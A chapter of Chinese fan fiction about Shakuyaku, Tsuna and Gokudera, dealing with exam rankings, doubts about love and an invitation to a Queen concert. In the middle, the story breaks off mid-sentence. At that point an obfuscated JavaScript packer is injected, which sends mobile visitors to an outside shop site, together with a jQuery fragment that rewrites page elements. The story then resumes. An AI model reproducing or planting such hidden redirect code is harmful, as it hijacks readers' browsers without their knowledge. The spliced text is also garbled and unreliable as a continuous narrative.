班级排名第三,年级第五。芍药双眼空洞地望着这两个数字,越看越陌生。

    “我从出生到现在就没有排过第三,就算是最不擅长的骑术也是第一,怎么会这样,我是在做梦吗?”

    “你冷静一点啊!”

    耳边的一切声音瞬间消失了。对,这一定是在做梦,毕竟她连昨天下午有这场考试这件事,都有些记不清了。

    考试的时候她在干什么?她目光下意识看向刚刚揉搓的那个大纸球,哦,她想起来了,她在写计划——

    那些荒唐的计划!

    此时此刻,她眼前又浮现出七海的脸。对方似乎在说:对啊,就是因为这样,我才离开你的。

    芍药猛地从纲吉怀里抬起头,执拗地盯着他的眼睛:“你不会离开我的,对吧!”

    “对,我不会离开你。”纲吉脱口而出。

    “你这是发自内心的吗?”芍药质疑。

    “对,我补会泥开李。”纲吉扁起嘴,从牙缝里挤出这几个字,充当心声。

    “...算了吧。”芍药长长地叹了口气。她可不是那种会被情啊爱啊哄的找不着北的普通王子,在纲吉的病好之前,她对纲吉的一切承诺持怀疑态度。

    虽然心里很爽就是啦。

    “那你再说一遍。”她从口袋里拿出手机,点开录音功能,对准纲吉的嘴巴。“我要把它记录下来。”

    “...”纲吉无奈,很老实地又重复一遍:“我不会离开你。”

    “要加上沢田纲吉和西宫芍药这几个字!”

    “我沢田纲吉不会离开你西宫芍药的。”

    “那还差不多。”不管他是真心还是假意,芍药至少现在很开心,那就足够了。

    她咧开了嘴角,而与之相对的,纲吉却慢慢沉默了。

    这怎么可以呢!就那么不情愿吗?芍药还在考虑是为了面子装作没看到,还是直接开口询问,却听见纲吉的声音闷闷的,从耳边传来。

    “刚刚,你想找七海同学,对吧?”

    “啊,嗯。”芍药一怔,再次听到这个名字,心情不受控制地沉了下去。

    “那,是有什么着急的事情吗?毕竟是可靠的七海同学呢,她一定会帮你解决所有的问题,对吧?”纲吉的语气顿了顿,“是关于‘攻略’...吗?”

    芍药下意识摇头,又转头看向地板上那个大纸团子,“‘攻略’什么的,都不重要了。”

    “唉!”纲吉的声音忽地拔高,“你不攻略我了吗?”

    “才没有!”芍药反驳,“我只是...只是...”

    她只是忽然意识到之前的想法有一点点不对劲啦!他现在开口质问是什么意思?想要提醒她做错了吗?

    也许是见她急了,纲吉赶紧放柔了声音,解释道:“我只是比较好奇,七海是你的好朋友,你最先想到她也很正常。但现在这种情况下...”

    “你到底想说什么?”芍药听晕了。

    “我...”纲吉深吸一口气,缓缓道:“我只是想知道,在刚刚,你的目光为什么没有第一时间,落在我身上呢?”

    “这个...”

    “你开口的第一句话,是问‘七海,今天不一起吃午饭吗?’为什么没有和我说一句话呢?”

    “唉?”

    “我不是你最重要的公主吗?”

    纲吉不说话了,只是默默地盯着她。芍药无法反驳,额头上急得冒冷汗。

    “这只是下意识的习惯而已——”

    “千辛万苦从王宫中一同逃出来的我,和刚刚在学校里认识的普通朋友,你更亲近她吗?”

    “七海怎么是——”

    “对啊,七海怎么会是普通朋友呢。”

    纲吉轻柔地捻起芍药的一缕发丝,挽到她耳后。那只手颤抖了一下,终究是没有继续下去。

    “怎么可能会对刚刚认识的人那么上心呢?比我都上心...这不是很奇怪吗?”

    芍药眨眨眼,目光中似乎还带着些困惑。纲吉张了张嘴,眼中似是不忍说出接下来那句话,但还是说出了口:

    “芍药,你到底喜欢我什么?”

    ...

    芍药一愣。她喜欢他什么?真是个莫名其妙的问题。

    她急着刚要开口,在面前人过于认真的注视下,话到嘴边,又顿了一下。

    她喜欢他...喜欢他...

    “我喜欢你的一切。”芍药脱口而出。

    “一切具体指的是什么?”纲吉追问道:“请全部告诉我吧,芍药。”

    “一切当然是指——”

    芍药本以为这个问题很简单,但她绞尽脑汁,始终也想不出个具体。

    但喜欢又有什么理由呢?她喜欢阿纲,喜欢他的一切就像本能,一定要说出某一点...

    “嘶——”

    她的头忽然一疼。大概是神也在阻止她质疑这份感情吧。

    于是她放弃了思考。

    “一切的一切啊!”她转而扬起大大的笑容,又露出了上排的牙齿。阳光恰好照在她那颗小小的虎牙上,泛出了奶油色的光芒。“喜欢你不是天经地义的事吗?”

    纲吉呛住了。

    他表情呆滞了几秒,忽然笑了。笑声很浅,也许只是从鼻腔里发出来的一声轻哼,不能称之为笑。

    “果然...会是这种结果,果然...”

    他从口袋里掏出上次小考只有60分的试卷,递到芍药面前。

    “如果我不是公主,如果我只是个成绩不好,体育也不好的普通人,你...”

    他嘴唇颤了颤,“还会喜欢我吗?”

    ...

    夕阳铺在台阶上,像琴键。芍药一步步踩下去,心像一团乱麻。

    她也不知道自己在想什么,但肯定不是那个现在急需要想出答案的问题,也不是那个轻飘飘的回答。也许是今天的天气为什么那么好?晚上又该吃什么呢?说起来,Queen是不是要来日本巡回演出了!

    Queen是她最近热爱上的乐队。真奇怪,明明之前在皇宫里根本没有接触过这种音乐,但在某次偶然路过一家唱片店,听到了Queen的音乐后,她就不可自拔地爱上了摇滚乐。

    这也许就是命运吧。

    真好呢,要是能抢到票...

    芍药的嘴角轻轻扬起,又重重落下。唉,抢到票,就算是抢到了,她也不见得会多快乐。

    她大概是再也笑不出来了吧...

    就在她独自沉浸在惆怅中时,恍然间微微偏头,眼前忽然浮现一抹银白色的光景。

    “啊!”

    她快步追了上去,从背后一把拉住眼前人的衣袖。冰凉的金属触感猛地陷入指尖,她松开手指,才发现这件普通的白衬衫上被他黏了几个钉子上去。

    钉子头圆钝,在阳光下闪闪发亮。她盯着袖口一时怔住,眼前人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758616|202881||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    却也没有说话,任凭她看。

    “喂。”

    终于,狱寺还是开了口:“你想干什么?”

    “Queen的演出...”芍药仰头看他,“要不要一起去?你喜欢摇滚乐,对吧?”

    “哈?”狱寺忽地从喉咙里哼笑了一声。这种反应芍药始料未及,一时间只能等待他的下文。

    “你这女人真奇怪,上次让你去,你不去,这次却主动邀请我吗?”

    “邀请我?”芍药探究地眯起眼,“你什么时候邀请过我?”

    她拼着命回忆,似乎确实有这件事来着...啊!在面前人逐渐不耐烦的目光中,她终于想了起来。

    “好像是什么‘你求求我,我就带你去。’那种语气算是邀请吗?难道不是在炫耀吗?我自己也能去,不需要求任何人!”

    “咕!”狱寺像是被人从后脑突然敲了一闷棍,他瞪大双眼,“我又不是那个意思!”

    “那你是什么意思?”

    “我——”他话到嘴边猛地咽了回去,像是被鱼刺卡到喉咙的猫咪,从喉咙里发出两声意味不明的“嗬嗬”声后,就不说话了。

    芍药没有察觉,她自顾自地继续说道:“反正,现在我是和你平等意味的交流,就算是补偿上次你邀请我,我没去好了。”

    “你的那些朋友呢?”

    什么朋友?芍药愣了一下,脱口而出:“她们都没兴趣。”

    “哦,原来是这样啊。”狱寺又笑了一下,“你这家伙还真不会说谎呢。”

    “这和说不说谎有什么关系?怎么样?到底去不去?”

    见身边人总是岔开话题,芍药又非常认真地,问了一遍。

    “我不去。”

    “好吧,那我们——什么?你不去?”

    没想到得到的会是意料之外的回答,芍药的表情瞬间变得五颜六色,“这可是Queen啊!你居然不去。”

    “纠正一点。”狱寺摇头,“我会去,但不会和你去。”

    “你准备和别人去?”芍药好奇。

    “不,我自己一个人去。”狱寺随口回答。

    “哦,你讨厌我。”芍药恍然大悟。

    “...”狱寺张了张嘴,“不是这个原因。”

    “那是什么原因?”

    狱寺忽然停下了脚步,转过身,直直地看向芍药。他没有习惯性的嗤笑,脸上也没有一丝不耐烦,他只是看着她,就像是透过她在看着其他的什么东西。

    “没有原因。”

    “没有原因是什么原因?”

    狱寺的眼神中,在平静之下一定藏着什么,芍药看不懂。她在此刻才真正的意识到,任何事情都不会没有原因,而得到“没有原因”这个答案的人,会有多抓心挠腮。

    “没有原因就是没有原因,”狱寺脸上终于带上些不耐烦,“因为和以前不一样了,这个答案,你能明白吗?”

    芍药忽然很郁闷,因为她确实听不明白,但还是嘴硬道:“哪里不一样了?你还是你,我还是我啊。难道是因为我是王子,你是平民?还是因为这次考试我得了第三名,而你是第一名,你歧视我?”

    狱寺了然地笑了笑,笑声中不夹杂着任何的情绪,芍药好像是第一次听他这么笑。

    但他接下来吐出的话,却又让她感到一种前所未有的,说不出来的感觉。

    “你难道从来都意识不到,别人对你的情感吗?”